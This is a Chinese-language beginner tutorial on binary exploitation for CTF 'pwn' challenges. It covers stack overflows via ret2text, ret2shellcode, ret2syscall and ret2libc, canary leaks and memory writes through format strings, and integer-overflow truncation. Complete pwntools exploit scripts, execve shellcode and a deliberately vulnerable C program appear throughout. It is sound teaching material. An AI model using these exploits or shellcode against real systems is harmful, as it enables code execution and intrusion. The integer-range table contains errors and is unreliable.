作者:b1cc@墨云科技VLab Team
原文鏈接:https://mp.weixin.qq.com/s/1KoRr53tNryUKT4P1r7n6A

本文是筆者初學pwn的知識梳理,如有錯誤之處,敬請斧正。

棧溢出漏洞

原理

棧是一種后進先出的數據結構。在調用函數的時候,都會伴隨著函數棧幀的開辟和還原(也稱平棧)。棧結構示意圖如下(以32位程序為例):

圖片

如圖所示,棧空間是從高地址向低地址增長的。但是,若函數中用到了數組作為局部變量時,向數組的賦值時的增長方向是從低地址到高地址的,與棧的增長方向相反。若對未限制數組的賦值邊界,則可能對數組進行惡意的越界寫入,便會把棧中的數據覆蓋,造成棧溢出漏洞。常用的造成棧溢出漏洞的函數有:scanf,gets,strcpy,strcat,sprintf等。

如果對覆蓋棧的內容進行精心構造,就可以在返回地址的位置填入我們希望函數返回的位置,從而劫持程序的執行。由于在編寫棧利用 shellcode 過程中都需要用到ret指令,所以這樣的利用方式被成為ROP

面對返回編程

ROP(Return-oriented programming)是指面向返回編程。在32位系統的匯編語言中,ret相當于pop EIP,即將棧頂的數據賦值給 EIP,并從棧彈出。所以如果控制棧中數據,是可以控制程序的執行流的。由于 NX 保護讓我們無法直接執行棧上的 shellcode,那么就可以考慮在程序的可執行的段中通過 ROP 技術執行我們的 shellcode。初級的 ROP 技術包括 ret2text,ret2shellcode,ret2syscall,ret2libc。

ret2text

ret2text是指返回到代碼段執行已有的代碼。在 pwn 題中這種情況通常出現在程序里已經有system("/bin/sh")system("cat flag")。需要做的就是把這些調用的地址覆蓋到返回地址處即可。

下面使用攻防世界中的 level0 題目作為例子進行解釋。

checksec 指令查看程序的保護情況,有 NX 保護(No-eXecute,即數據不可執行保護)。考慮使用 ROP 技術進行利用。

圖片

漏洞代碼:

圖片

可以看到,read函數可以讀取0x200字節存入緩沖區,但是緩沖區只有0x80字節,可造成越界寫入。

system 函數:

圖片

使用 pwndgb 插件的 cyclic 指令確定出返回的偏移為 136,所以構造填充字符大小為136個字節,后面緊接的便是返回的地址。控制這個返回的地址即可控制程序的執行流執行到我們指定的 system 函數。

圖片

EXP如下:

from pwn import *
r = remote("111.200.241.244", 57216)
payload = 'A' * 136 + p64(0x00400596)
r.sendlineafter("Hello, World\n", payload)
r.interactive()

在本地調試時執行腳本后可以看到,在執行vulnerable_function執行返回時, 0x88(136) 的位置已經被修改為system函數的地址。

圖片

ret2shellcode

如果 pwn 題中沒有提供system函數,我們可以自己編寫 shellcode 來執行相關 system 函數。

在沒有 NX 保護的情況下,可以直接將函數的返回地址覆蓋為 shellcode 的地址,在函數返回時控制程序執行流到 shellcode 出執行。被覆蓋 shellcode 后的棧空間的形態如下圖所示(圖中只展示一種 shellcode 的位置,但實際上可以根據具體情況選擇):

圖片

其中 padding 的長度可以使用 pwndbg 插件 中的 cyclic或者 peda 插件 pattern指令生成字符串模板并結合動態調試觀察棧來確定。在 pwn 題目中,我們一般可以通過找到system函數地址,通過 shellcode 調用執行,就可以拿到 flag。所以在寫 shellcode 過程中,我們按照 linux 系統調用的方式調用system函數的底層的sys_execve函數,傳入/bin/sh作為參數即可。shellcode 可以使用 pwntools 工具編寫,若需要更精簡或特殊定制的 shellcode,也可以自己編寫。具體的編寫方式可以參考博客https://www.cxyzjd.com/article/A951860555/110936441。需注意的是,在生成 shellcode 之后需要進行字符的填充,使其保證具有足夠的字節數覆蓋到返回地址處。

我們用以下例子進行演示說明:

#include<stdio.h>
void func(){
    asm("jmp *%rsp");
}
int main()
{
    char buf[200];
    printf("what do you want? ");
    gets(buf);
    puts(buf);
    return 0;
}

編譯注意禁用所有保護:

gcc -no-pie -fno-stack-protector -zexecstack -o ret2shellcode ret2shellcode.c

從源碼中可以看出在棧的buf字符數組處有溢出,并且有后門指令進行利用。然后設計 payload 如下面 exp 所示,目的是將 jmp_rsp 的指令填充到 main 函數返回地址中,從而控制程序執行。"A" * 0xd8是填充字符,目的是為了對齊 shellcode 到 rsp 的地址上。

exp:

from pwn import *
context(arch="amd64",os="linux",log_level="debug")
p = process("./ret2shellcode")
elf = ELF("./ret2shellcode")
jmp_esp = elf.search(asm('jmp rsp')).next()
shellcode = asm(shellcraft.sh())
payload = "A" * 0xd8 + p64(jmp_esp) + shellcode 
p.sendline(payload)
p.interactive()

ret2syscall

ret2shellcode的例子中,若開始了 NX 保護,寫入到棧中的 shellcode 將不可執行。在這種情況下,我們可以嘗試使用ret2syscall的方法。ret2syscall是指通過收集帶有ret指令的 gadgets(指令片段) 拼接成我們所需要的 shellcode。在此先貼出32位下的調用execve("/bin/sh",NULL,NULL)的 shellcode(涉及 Linux 系統調用方式不清楚可自行搜索):

// 字符串:/bin//sh
push 0x68
push 0x732f2f2f
push 0x6e69622f
// ebx ecx edx 傳參
mov ebx,esp
xor ecx,ecx
xor edx,edx
// eax = 系統調用號
push 11
pop eax
// Linux 系統調用
int 0x80

然后我們可以通過ROPgadget命令來找到程序中是否有對應上面指令的 gadgets:

ROPgadget --binary ./ret2syscall --string /bin/sh
ROPgadget --binary ./ret2syscall --only "pop|pop|pop|ret"|grep "edx"|grep "ebx"|grep "ecx"
ROPgadget --binary ./ret2syscall --only "pop|ret"|grep eax
ROPgadget --binary ./ret2syscall --only "int"|grep "0x80"

我們以 Github 上ctf-wiki項目中的題目來舉例,項目地址是https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall

源碼如下,明顯的棧溢出漏洞:

#include <stdio.h>
#include <stdlib.h>
char *shell = "/bin/sh";
int main(void)
{
    setvbuf(stdout, 0LL, 2, 0LL);
    setvbuf(stdin, 0LL, 1, 0LL);

    char buf[100];
    printf("This time, no system() and NO SHELLCODE!!!\n");
    printf("What do you plan to do?\n");
    gets(buf);
    return 0;
}

查看保護發現只有 NX 保護,手動查看對應 gadgets 的地址:

圖片

利用思路:將收集到的 gadgets 按照順序組合成 payload。payload 發送后緩沖區的情況如圖所示,箭頭指向是指程序以 ret 導向的執行流。

圖片

最終EXP如下:

from pwn import *
p = process("./ret2syscall")
pop_eax = p32(0x080bb196)
pop_edx_ecx_ebx = p32(0x0806eb90)
bin_sh = p32(0x080be408)
int_0x80 = p32(0x08049421)
offset = 112
payload=flat(['a'*offset, pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, bin_sh,int_0x80])
p.sendline(payload)
p.interactive()

ret2libc

如果程序中沒有后門,開啟了 NX 保護,沒有足夠的 gadgets 來構造 shellcode,那么以上的方法都沒辦法使用,可以使用一種更復雜,限制更小的利用方式ret2libcret2libc是指將程序返回 libc,直接調用 libc 的函數。所以首先需要獲取到 libc 中函數的地址。同一版本 libc 的偏移相對 libc 基址是確定的。如果需要調用 libc 的函數,就需要確定 libc 的基址和函數偏移。函數偏移可以通過在文件中的偏移得出,知道了 libc 版本則可以認為是已知的。但是 libc 的加載基址是隨機加載的,所以需要先確定 libc 的加載基址。

獲取 libc 的加載基址的方法:從程序 got 表中獲取到函數的實時地址,減去相應版本的 libc 中函數在文件中的偏移,即可知道libc的基址(這里涉及PLT表和GOT表的相關知識,可以查看https://zhuanlan.zhihu.com/p/130271689了解)。

因此,我們的思路是,只需要泄露出一個函數的地址,就通過LibcSearcher(https://github.com/lieanu/LibcSearcher)項目知道對應的 libc 版本。然后計算某個函數的實時地址和對應 libc 中的這個函數地址的偏移,可以計算出 libc 加載基址。通過 libc 基址,加上需要調用的函數(通常為system函數)在 libc 中的偏移,就可以知道當前所需函數的地址。

以攻防世界題目 pwn-100 進行舉例說明:

程序分析:read 函數可以導致棧溢出,只有讀取到200個字符才會退出循環。但是緩沖區是只有64字節的。

圖片

圖片

利用思路:利用read函數的棧溢出漏洞,調用到puts函數將read函數的 got 地址泄露出來。接著將程序重新導回到main函數重新執行,制造二次溢出。獲取到read的 got 地址之后,即可使用LibcSearcher項目獲取到 libc 的版本。獲取到 libc 版本之后通過計算得出system函數的地址。接著二次溢出時就可以調用system函數獲取到 shell。

EXP如下:

from pwn import *
from LibcSearcher import *

p = remote("111.200.241.244","64745")
elf = ELF('/mnt/hgfs/pwn-100')
context.log_level='debug'

addr_pop_rdi = 0x400763
addr_main = 0x4006B8

# 用于獲取 read 的 got 表地址,相當于調用 puts(elf.got['read']),然后輸出出來,并重新啟動程序
payload = 'A' * 72 + p64(addr_pop_rdi) + p64(elf.got['read']) + p64(elf.symbols['puts']) + p64(addr_main) + 'A' * 96
p.send(payload)
p.recvuntil('\x0a')

# 獲取返回地址
addr_read = p.recv()[:-1]
addr_read = u64(addr_read.ljust(8,'\x00'))
# 獲取 libc 中的 system 中的函數
libc = LibcSearcher('read',addr_read)
addr_base = addr_read - libc.dump('read')
addr_sys = addr_base + libc.dump('system')
addr_sh = addr_base + libc.dump('str_bin_sh')

payload = 'A' * 72 + p64(addr_pop_rdi) + p64(addr_sh) + p64(addr_sys) + p64(addr_main) + 'A' * 96
p.send(payload)

p.interactive()

格式化字符串漏洞

原理

格式化字符串函數是指一些程序設計語言的輸入/輸出庫中能將字符串參數轉換為另一種形式輸出的函數。C語言中使用到格式化字符串的輸出函數主要有printf fprintf sprintf vprintf vfprint vsprintf 等。以printf函數為例,介紹格式化字符串漏洞的原理及利用。

printf函數的聲明如下:

intprintf ( constchar*format, ... );

printf是一個變參函數,其實第一個參數就是格式化字符串,后面作為傳入的參數將會根據格式化字符串的形式進行不同方式的解析并輸出。其中在format中可以包含以轉換指示符%為開頭的格式化標簽(format specifiers) ,格式化標簽可以被后面傳入的附加參數的值替換,并按需求進行格式化。格式化標簽的使用形式是:

%[flags][width][.precision][length]specifier

這里主要介紹 pwn 中常用到的轉換指示符:

指示符 輸出格式
%d 十進制整型
%u 十進制無符號整型
%x 十六進制無符號整型
%p 指針地址
%s 字符串形式
%n 無內容輸出,但是會將已經輸出的字節數寫入到傳入的指針指向的地址

正常調用函數的情況下,在格式化字符串中包含的指示符數量%,應該與后面傳入參數的數量相等。在格式化字符串匹配參數時,會按照調用函數的傳參順序逐一匹配。

我們可以通過觀察調用函數時棧的情況來了解格式化字符串中指示符和其他參數的對應情況。

source.c :

#include <stdio.h>
void main(){     
    printf("%x\n%x\n%x\n%x\n%x\n%x\n%3$x\n",  
       0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x55555555,                0x66666666);
}

32位程序的傳參情況如下:

圖片

輸出:

11111111
22222222
33333333
44444444
55555555
66666666
33333333

32位情況下,參數有棧傳遞,需格式化輸出的參數都在存在在棧空間和格式化字符串相鄰。這里介紹%3$x,表示輸出格式化字符串后面的第三個參數。

64位程序的傳參情況:

圖片

輸出結果同32位程序。

得出結論:格式化字符串存放在rdi寄存器中,格式化字符串后的前五個參數對應存放在 rsi rdx rcx r8 r9,第六個之后的參數會入棧,以此類推。

在非正常調用格式化輸出函數的情況下,會出現以下的代碼:

voidmain(){
    char* str = NULL;
    scanf("%s",str);
    printf(str);
}

這樣直接將格式化字符串暴露出來,可以通過構造特定形式的輸入字符串達到泄露棧上信息和任意修改內存的效果。

利用1:泄露信息

向程序輸入如%x%x%x%x%x%x便可獲取到棧幀中并不屬于printf函數的棧數據。如果計算好偏移,創建的可以獲取到的信息有:數據的存放地址、函數地址、canary值等。

通過攻防世界題 Mary_Morton 的利用可以通過格式化字符串漏洞進行canary保護的繞過。關于 canary 保護的介紹可以查看 CTF-Wiki 的文章:https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/

查看保護:

圖片

主要邏輯:

圖片

可以發現有一個格式化字符串漏洞:

圖片

還有一個棧溢出漏洞:

圖片

因為有 canary 保護,棧溢出漏洞無法直接使用填充字符覆蓋到返回地址,需要繞過 canary 保護。在此可以通過格式化字符串漏洞泄露 canary 值,然后在 shellcode 中偽造 canary 值進行繞過。

在調用printf之前下斷點,斷下來后查看棧空間如下圖。可以看到 canary 在棧空間偏移 0x11 個參數的位置,由于是64位的程序,加上6個寄存器傳參,canary 的位置距離第一個參數偏移是 23,所以構造傳給printf的參數為"%23$p"。泄露出 canary 之后用于構造棧溢出的 shellcode,達到繞過的效果。

圖片

EXP如下:

from pwn import *
p = remote("111.200.241.244",51032)
p.sendlineafter("3. Exit the battle",'2')
payload1 = '%23$p'
p.sendline(payload1)
p.recvuntil('0x')
canary = int(p.recv()[:16],16)
print "output: " + str(canary)
canary_offset = 0x88
ret_offset = 0x98
get_flag_fun = 0x00000000004008DA
payload2 = canary_offset * 'a' + p64(canary) + (ret_offset-canary_offset-8)*'a' + p64(get_flag_fun)
p.sendlineafter("3. Exit the battle","1")
p.sendline(payload2)
p.interactive()

利用2:修改內存

可以通過攻防世界的一道 pwn 練習題-實時數據檢測來了解。

題目關鍵邏輯如下:

圖片

圖片

大概邏輯是,判斷存放在內存中 key 的值與 35795746 進行對比,如果相等則直接可以 get shell,但是正常邏輯下,key 是一個不受輸入影響的值。但是可以發現imagemagic函數中出現在格式化漏洞,題目設計得恰好可以通過利用這漏洞進行對 key 的修改。查看rip == call printf 語句的地址時的棧,可以看到 key 的地址在離格式化字符串偏移為 16 的位置上。所以給 printf 傳遞的格式化字符串的值為"%35795746x%16$n","0x0804A048",指的是將一個十六進制數以 35795746 個字節的方式輸出,輸出的 35795746 個字節數寫入到 0x0804A048指向的地址,即 key 的地址。從而達到了對 key 值進行修改的目的。

圖片

exp 如下:

from pwn import *
p = remote("111.200.241.244",48715)
key_addr = 0x0804A048
payload = '%35795746x%16$n\x00' + p32(0x0804A048)
p.sendline(payload)
p.interactive()

整數溢出漏洞

原理

整數溢出是指:在計算機編程中,當算術運算試圖創建一個超出可以用給定位數表示的范圍(高于最大值或低于可表示的最小值)的數值時,就會發生整數溢出。了解整數溢出,需先了解整型數據在內存中的存儲形式。

下表列出C語言中個整型數據的數值范圍和分配的內存字節數(與編譯器相關,以下是64位的值):

類型說明符 數值范圍 字節數
int -32768~32767 (0x80000000~0x7fffffff) 4
unsigned int 0~4294967295 (0~0xffffffff) 4
short int -32768~32767 (0x8000~0x7ffff) 2
unsigned short int 0~65535 (0~0xffff) 2
long int -2147483648~2147483647 (0x8000000000000000~0x7fffffffffffffff) 8
unsigned long 0~4294967295 (0~0xffffffffffffffff) 8

整數溢出的利用因為只能改變固定字節的輸入,所以無法造成代碼執行的效果。整數溢出漏洞需要配合程序的另一處的缺陷,才能達到利用的目的。通過輸入能控制的程序中的數值(通常為輸入的字符串的長度),用于處理與內存操作相關的限制或界限,便可能通過控制數值,設計緩沖區溢出,達到控制程序執行流程。筆者總結相關造成溢出的原因主要是對數值運算結果范圍的錯估存在缺陷的類型轉換

《CTF競賽權威指南》中,將整數的異常情況分為三種:溢出,回繞和截斷。有符號整數發生的是溢出,對應字節數的有符號整數,最大值 + 1,會成為最小值, 最小值 -1 會成為最大值,此種情況可能繞過>0 或 <0的檢測;無符號整數發生的是回繞,最大值 +1 變為0,最小值 -1 變為最大值;截斷則出現在將運算結果賦值給不恰當大小的整數數據類型和不當的類型轉換的情況下。

利用

下面以攻防世界中題目 int_overflow 為例介紹整數溢出漏洞的利用。主要邏輯如下:

圖片

login 函數

圖片

check_passwd 函數

main函數可以看出,程序需要輸入不超過19字節的username 和不超過199字節的passwd,進入check_passwd函數對passwd進行檢查和保存。在通過strlen求輸入字符串函數時,用了byte類型來接收返回值。strlen函數的返回值類型是size_tsize_tsizeof關鍵字的返回值類型。一般在32位系統下是4字節的無符號整型,64位系統下是8字節的無符號整型。這里存在從size_tbyte類型的整型隱式轉換。匯編上表示就是通過直接截取了al寄存器的值來接收strlen的返回值。結合前面限定的長度小于 0x199 個字符的限定,只需要保證最后一個字節大于3并小于8,那么任何一個長度大于 0x103 且小于 0x108 的字符串都可以非法繞過strcpy的長度檢測。strcpy的目標緩沖區大小為11,通過構造的惡意長度的字符串足夠可以造成棧溢出,之后便可通過覆蓋返回地址達到對程序的控制。exp 如下所示:

frompwnimport*

p=remote('111.200.241.244',52212)
p.sendlineafter("choice:",'1')
p.sendlineafter("username:","bbb")
system_addr = 0x8048699
cat_flag = 0x08048960
payload = 'a'*24 + p32(system_addr) + p32(cat_flag) + p32(0xbbbbbbbb) + 'a' * (0x104-24-4*2)
p.sendlineafter("passwd:",payload)
p.interactive()

結語

一入 pwn 門深似海,感謝references中的資源作者的分享,還有網上關于分析pwn的帖子,讓我的學習少走不少彎路。因此,筆者把學習過程中的知識粗做整理,希望對初學者有所幫助,如有錯誤之處,敬請斧正。

參考資料

《CTF競賽權威指南》,楊超

看雪課程:《零基礎入門pwn》

https://github.com/ctf-wiki

https://ctf-wiki.org/pwn/linux/user-mode/environment/

https://cs155.stanford.edu/papers/formatstring-1.2.pdf


Paper 本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1968/